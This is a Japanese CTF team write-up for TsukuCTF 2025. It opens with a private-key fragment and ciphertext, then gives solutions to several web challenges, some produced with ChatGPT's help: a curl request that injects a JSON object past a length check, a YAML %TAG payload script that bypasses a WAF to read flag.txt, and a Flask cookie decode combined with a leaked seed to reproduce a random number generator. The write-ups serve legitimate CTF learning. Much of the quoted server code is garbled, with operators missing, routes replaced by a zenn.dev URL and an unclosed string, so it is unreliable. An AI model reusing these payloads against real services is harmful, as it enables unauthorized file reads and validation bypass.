GVhTmQ7YIRLtZ2jd6FVmQCI5VAkI2R3QQSEA8sSEtA5uh2O20YpPnMI6tXgRqz/p
aUJYBQLyy6VG+PSMcE0cFeJvdYVrN8GI19CBp8FPIRJAyPHEirs3bBaYg7HErSdA
wLRe9y0bYJr9ZD2GZufLacz6Gtl7zqXAFHHTq5iuh5IguoS6Udc/bDIkY2gZZsek
xUg=
-----END PRIVATE KEY-----
==== ciphertext(hex) ====
9956e487373793da71f9e70ea79a13a471bf7d512cb8b438c61532984a5309ed6ab6e663b615ff05b0ce792584db86dd82ca63092db11bd86b231daeb6fe5bd9e81c9dc27fcf84e71b843c2f7ed9048c9f2abd44e1244b8f9abf52b04651d4e4bbb40cd075b66b7ecf5bbd67082d9451c66cc5ffb9416b79db1eeece91173d0d11232d3e2ae3d59a50018b29553d6d2393ac4224a1fd94fa2a5e3d7d03b426ab7280385532724e19be44fc8bcdd4ea75853fd738163826e9a5359c6d5760c0e5de5907fa2b32256363114b3b4a785ea13e7273fbd8ffec00633523983e1bf9e3eab1b4cc86e9c22d104e3bc747a8179e70161ed21bdff6372324d0f726cea443b0f268e0df7f233efb2f51969115f00ba4af5ca69f0c1c65ca85cbad582d3ceb3c829615c1396808eb0da192560343f7c8bb5b71fca15b6c3bdcc5ea416148f569bb4d46f170f267356a91d4b6c1aa53fab54a788a549eedb7e349b332c417ea0000766bcb00150e02a0eb18b0f997be1badbbb62980ba4ae434c44560e01c75459e99799afaa07fcb880d619ccd19b98b1d1ac1b748ca89db0b019ddaccd21007ffc6965fe33434c91d91d64df237affd68133de514870159a8ef2a044d97ee1bc3b124bd3533aee83fc335b926b290e4d34c834a19ef80732f920783342e4f81721bde62e92334aaa67300ca301e1ccda61177e984d29629d2abc110bb90129697cceaedd268d121e34122952db4fce7af54dd0cffbcdd8ba63f4fe7c9d6d2244fcdbebe29a8b4e55384cd9b561a563a5f45a4f71cbbee5ec25b9fbcb47b112da7571cc3d021af31049b69f182b4ba7f230259a045c2b08bad89419ae37b1590ff405194f4b987d33e61435a40ffc1a9f9d9f0f5e9915ddbc5b7f0e4cc72d188c6c12593b38d96f98e7d4dfbcada0202a2b32226f9e111cc22c73a7d55e154d05115beab3b700fe62dbda9f86b5d8a4f5a758e4b913c3f96f11bc8768df25a851b0c817140d76cf75e5b045677b74208202c1827e66f4b81d5cd3fb93cc71dc7704f744dd278fd765959206fa0bb0b844db07ee040bc8d5563b797c8ecffb545e8c22dec89973f482ac6a29757cf5d51d2abe8f5abf074df8dac19a8d3b5804fe82a90694ba44a730ae12be00ff3dbfb1a55c3bda2bd93421dfd9f72025cf79bd8d6c5f8ff6d93895fd9743621eb141c00550a63b48f483ba5a67dd2b2ceeb4c126979a73433812a328405ee8402cc40b0b57cb8fd2c01496be77206a460cec5bca75a4d447665e0f150776b6966c3965bab258df823dba65fd9def5501623e88bc2e7cf4036792b4904a4932595a813f7c8e2b6e108d64e49d7ba5ea2949a40b2373596aec716375c2b5387e670cfe944db49b8e2eea00237216634c57a17fc1eb968158ebc502a599399a59a8eed3e11b9e02a12c3616b818d6c3d9d081d730d2ef62ee9b7337b995308c8b58baac95b38db76b9ea653f624b4d3e9ee1db51bc0204cc553763589d5a861510489141c71424c538592e8f7c75a55103a353
==== encrypted_flag(hex) ====
bed3b7d98a1058fe7059c15bffac13205a39bc22263ef9110b5bde66f10c847fbe2eae728a1a427d99bbee0b48c9fd76
🤔xortsukushift (473 pts / 34 solves / medium)
つくし君とじゃんけんしよう。負けてもチャンスはいっぱいあるよ! フラグフォーマットは
TsukuCTF25{}
です。
nc challs.tsukuctf.org 30057
添付ファイル:server.py
import os
import secrets
import signal
FLAG = os.getenv("FLAG", "TsukuCTF25{dummy_flag}")
class xor_tsuku_shift:
def __init__(self, seed):
self.a = seed
def shift(self):
self.a ^= (self.a 17) & 0xFFFFFFFFFFFFFFFF
self.a ^= (self.a >> 9) & 0xFFFFFFFFFFFFFFFF
self.a ^= (self.a 18) & 0xFFFFFFFFFFFFFFFF
return self.a & 0xFFFFFFFFFFFFFFFF
def janken(a, b):
return (a-b+3) % 3
rng = xor_tsuku_shift(seed=secrets.randbits(64))
signal.alarm(600)
print("Tsukushi: Let's play janken!")
print("Tsukushi: Win 294 times in a row and you'll get the flag.")
for challenge in range(300):
print(f"Tsukushi: You have {300-challenge:03} tries.")
for round in range(294):
print(f"--- Round {round:03} ---")
tsukushi = rng.shift()
you = int(input("Rock, Paper, Scissors... Go! (Rock: 0, Paper: 1, Scissors: 2): "))
if you != 0 and you != 1 and you != 2:
print("Tsukushi: Hey, you cheated!")
break
result = janken(you, tsukushi)
if result == 1:
print("Tsukushi: You win!")
if round != 293:
print("Tsukushi: Let's go to the next round!")
elif result == 0:
print("Tsukushi: Draw! ...But If you wanna get the flag, you have to win 294 rounds in a row.")
break
else:
print("Tsukushi: You lose!")
break
else:
print("Tsukushi: You won 294 times in a row?! That's incredible!")
print(f"Tsukushi: So, here is the flag. {FLAG}")
quit()
else:
print("Tsukushi: GGEZ, Bye!")
解けませんでした😭
web
✅len_len (100 pts / 451 solves / easy)
Solved by ryo-a
"length".length
is 6 ?
curl http://challs.tsukuctf.org:28888
添付されたサーバのコード
const express = require("express");
const bodyParser = require("body-parser");
const process = require("node:process");
const app = express();
const HOST = process.env.HOST ?? "localhost";
const PORT = process.env.PORT ?? "28888";
const FLAG = process.env.FLAG ?? "TsukuCTF25{dummy_flag}";
app.use(bodyParser.urlencoded({ extended: true }));
function chall(str = "[1, 2, 3]") {
const sanitized = str.replaceAll(" ", "");
if (sanitized.length 10) {
return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
}
const array = JSON.parse(sanitized);
if (array.length 0) {
return FLAG;
}
return `error: no flag for you. array length is too long -> ${array.length}`;
}
app.get("https://zenn.dev/", (_, res) => {
res.send(
`How to use -> curl -X POST -d 'array=[1,2,3,4]' http://${HOST}:${PORT}\n`,
);
});
app.post("https://zenn.dev/", (req, res) => {
const array = req.body.array;
res.send(chall(array));
});
app.listen(PORT, () => {
console.log(`Server is running on http://${HOST}:${PORT}`);
});
arrayの長さが0未満であればFlagが返るらしいが、そんなことは可能だろうか?
if (array.length 0) {
return FLAG;
}
といいつつコードを丸投げするとGPT-o3が”arrayのバリデーションをしていない”と気付いてくれた。
要は sanitized
と言いつつ全くsanitizeしていないので、オブジェクトを投げてあげるといい。ここに array={"length":-1}
と流し込んでやると、Flagが出てくる。
$ curl -X POST -d 'array={"length":-1}' http://challs.tsukuctf.org:28888
TsukuCTF25{l4n_l1n_lun_l4n_l0n}
✅YAMLwaf (375 pts / 71 solves / hard)
Solved by ryo-a
YAML is awesome!!
curl -X POST "http://challs.tsukuctf.org:50001" -H "Content-Type: text/plain" -d "file: flag.txt"
(mirror)
curl -X POST "http://20.2.250.108:50001" -H "Content-Type: text/plain" -d "file: flag.txt"
添付されたサーバのコード
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const yaml = require('js-yaml');
const app = express();
app.use(bodyParser.text());
app.post("https://zenn.dev/", (req, res) => {
try {
if (req.body.includes('flag')) {
return res.status(403).send('Not allowed!');
}
if (req.body.includes('\\') || req.body.includes("https://zenn.dev/")
|| req.body.includes('!!') || req.body.includes(')) {
return res.status(403).send('Hello, Hacker :)');
}
const data = yaml.load(req.body);
const filePath = data.file;
if (filePath && fs.existsSync(filePath)) {
const content = fs.readFileSync(filePath, 'utf8');
return res.send(content);
} else {
return res.status(404).send('File not found');
}
} catch (err) {
console.log(err)
return res.status(400).send('Invalid request');
}
});
app.listen(3000, () => {
console.log('Server listening on port 3000');
});
WAFをバイパスしながらflag.txtを吐き出させるYAMLのペイロード投げつけろという問題。
例によってLLMに頼り、!!binary
と等価の内容を %TAG
ディレクティブを使い、base64エンコードされたflag.txt
を渡すYAMLをこねた。
import requests, base64
url = "http://challs.tsukuctf.org:50001"
headers = {"Content-Type": "text/plain"}
payload = """\
%TAG !b! tag:yaml.org,2002:binary
---
file: !b! |
ZmxhZy50eHQ=
"""
r = requests.post(url, headers=headers, data=payload.encode())
print("Status:", r.status_code)
print(r.text)
TsukuCTF25{YAML_1s_d33p!}
✅flash (100 pts / 170 solves / medium)
Solved by Diffuse
3, 2, 1, pop!
http://challs.tsukuctf.org:50000/
添付されたサーバのコード
from flask import Flask, session, render_template, request, redirect, url_for, make_response
import hmac, hashlib, secrets
used_tokens = set()
with open('./static/seed.txt', 'r') as f:
SEED = bytes.fromhex(f.read().strip())
def lcg_params(seed: bytes, session_id: str):
m = 2147483693
raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
return m, a, c
def generate_round_digits(seed: bytes, session_id: str, round_index: int):
LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)
h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
state = int.from_bytes(h0, 'big') % LCG_M
for _ in range(DIGITS_PER_ROUND * round_index):
state = (LCG_A * state + LCG_C) % LCG_M
digits = []
for _ in range(DIGITS_PER_ROUND):
state = (LCG_A * state + LCG_C) % LCG_M
digits.append(state % 10)
return digits
def reset_rng():
session.clear()
session['session_id'] = secrets.token_hex(16)
session['round'] = 0
TOTAL_ROUNDS = 10
DIGITS_PER_ROUND = 7
FLAG = "TsukuCTF25{**REDACTED**}"
app = Flask(__name__)
app.secret_key = secrets.token_bytes(16)
@app.route("https://zenn.dev/")
def index():
reset_rng()
return render_template('index.html')
@app.route('/flash')
def flash():
session_id = session.get('session_id')
if not session_id:
return redirect(url_for('index'))
r = session.get('round', 0)
if r >= TOTAL_ROUNDS:
return redirect(url_for('result'))
digits = generate_round_digits(SEED, session_id, r)
session['round'] = r + 1
visible = (session['round'] 3) or (session['round'] > 7)
return render_template('flash.html', round=session['round'], total=TOTAL_ROUNDS, digits=digits, visible=visible)
@app.route('/result', methods=['GET', 'POST'])
def result():
if request.method == 'GET':
if not session.get('session_id') or session.get('round', 0) TOTAL_ROUNDS:
return redirect(url_for('flash'))
token = secrets.token_hex(16)
session['result_token'] = token
used_tokens.add(token)
return render_template('result.html', token=token)
form_token = request.form.get('token', '')
if ('result_token' not in session or form_token != session['result_token']
or form_token not in used_tokens):
return redirect(url_for('index'))
used_tokens.remove(form_token)
ans_str = request.form.get('answer', '').strip()
if not ans_str.isdigit():
return redirect(url_for('index'))
ans = int(ans_str)
session_id = session.get('session_id')
correct_sum = 0
for round_index in range(TOTAL_ROUNDS):
digits = generate_round_digits(SEED, session_id, round_index)
number = int(''.join(map(str, digits)))
correct_sum += number
session.clear()
resp = make_response(
render_template('result.html', submitted=ans, correct=correct_sum,
success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
)
cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
resp.set_cookie(cookie_name, '', expires=0)
return resp
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
フラッシュ暗算のWebアプリのコードが提供される。
疑似乱数生成アルゴリズムは配布されているapp.pyの中身を見ればわかるので、判明している SEED
(ファイルが公開されている可能性にChatGPTの指摘で気づいた)、round(1〜10)、その回のsession_idから、各Roundの出力を手元で再現することができる。
prompt1
このサイトは表示される乱数の合計を入力するテストです。乱数は10回表示され、一部の乱数は内部的には存在しているようですが見える形では出力されていません。アプローチを考えてください。 http://challs.tsukuctf.org:50000/flash”
①ソースコードを見て、見えていないだけで実はDOM上にないかを確認
②全テキストを表示してみる
③HTMLのパケットやレスポンスボディに注目
④もしHTMLやJSからわからないならば:
- サーバーがセッションやCookieに乱数を保存していて、それを使って検証している可能性。
- 表示乱数は一部で、実際の合計はすべてバックエンド側で保存されている。
- その場合、セッションIDなどを利用して再度リクエストを投げ、サーバーが覚えている乱数を見抜く必要がある。
prompt2
そのセッションIDは取得できますか?
→開発者画面でCookieを確認。文字列を以下の方法でデコードできる。
% flask-unsign --decode --cookie ""
% flask-unsign --decode --cookie "eyJyb3VuZCI6MCwic2Vzc2lvbl9pZCI6IjBmMjZmNmQ4MTI5ZjI1NzA3MmE3MjRkZWNlNWE4NmI4In0.aBbbqw.41P1dH6fbtiEIdit_Me_przntU8"
{'round': 0, 'session_id': '0f26f6d8129f257072a724dece5a86b8'}
prompt3
シードは不明ですが、乱数生成アルゴリズムは以下です。seedを推測できますか?(以下、app.pyの一部)
→計算は不可能だが、Flaskのデフォルト設定では/static以下はそのまま公開されるので、http://challs.tsukuctf.org:50000/static/seed.txt
にアクセスできるかを調べるべき。
prompt4
seed.txtの中身と各round、session_idから合計値を再現するプログラムを出力してください。
calcsum.py
import hmac, hashlib
DIGITS_PER_ROUND = 7
TOTAL_ROUNDS = 10
def lcg_params(seed: bytes, session_id: str):
m = 2147483693
raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
return m, a, c
def generate_round_digits(seed: bytes, session_id: str, round_index: int):
LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)
h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
state = int.from_bytes(h0, 'big') % LCG_M
for _ in range(DIGITS_PER_ROUND * round_index):
state = (LCG_A * state + LCG_C) % LCG_M
digits = []
for _ in range(DIGITS_PER_ROUND):
state = (LCG_A * state + LCG_C) % LCG_M
digits.append(state % 10)
return digits
session_id = "(セッションID)"
seed_hex = "b7c4c422a93fdc991075b22b79aa12bb19770b1c9b741dd44acbafd4bc6d1aabc1b9378f3b68ac345535673fcf07f089a8492dc1b05343a80b3d002f070771c6"
seed = bytes.fromhex(seed_hex)
total_sum = 0
for r in range(TOTAL_ROUNDS):
digits = generate_round_digits(seed, session_id, r)
number = int(''.join(map(str, digits)))
print(f"Round {r+1}: {digits} => {number}")
total_sum += number
print(f"\n Total Sum to Submit: {total_sum}")
出力
Round 1: [0, 9, 6, 4, 2, 4, 6] => 964246
Round 2: [7, 5, 2, 6, 1, 2, 8] => 7526128
Round 3: [0, 6, 9, 5, 5, 8, 1] => 695581
Round 4: [8, 2, 1, 8, 5, 4, 3] => 8218543
Round 5: [6, 6, 2, 4, 3, 4, 6] => 6624346
Round 6: [7, 6, 7, 3, 6, 3, 2] => 7673632
Round 7: [3, 4, 3, 2, 5, 6, 6] => 3432566
Round 8: [6, 9, 6, 7, 0, 6, 9] => 6967069
Round 9: [3, 3, 2, 0, 0, 2, 4] => 3320024
Round 10: [5, 1, 7, 8, 7, 8, 8] => 5178788
Total Sum to Submit: 50600923
再現アルゴリズムもChatGPTに書いてもらった。
TsukuCTF25{Tr4d1on4l_P4th_Trav3rs4l}
pwn
🤔easy_kernel (497 pts / 12 solves / medium)
If you’re new to kernel challenges, check out this guide. You can download the handouts from here. The flag is in /dev/sdb. Good luck and have fun!
nc challs.tsukuctf.org 19000
解けませんでした😭
🤔new_era (500 pts / 4 solves / very hard)
When you cannot control RIP, what will you do? You can download the handouts from here. The flag is in /dev/sdb. Good luck and have fun!
nc challs.tsukuctf.org 19002
解けませんでした😭
🤔xcache (500pts / 5 solves/ hard)
Looks easy but… You can download the handouts from here. The flag is in /dev/sdb. Good luck and have fun!
nc challs.tsukuctf.org 19001
解けませんでした😭
Views: 0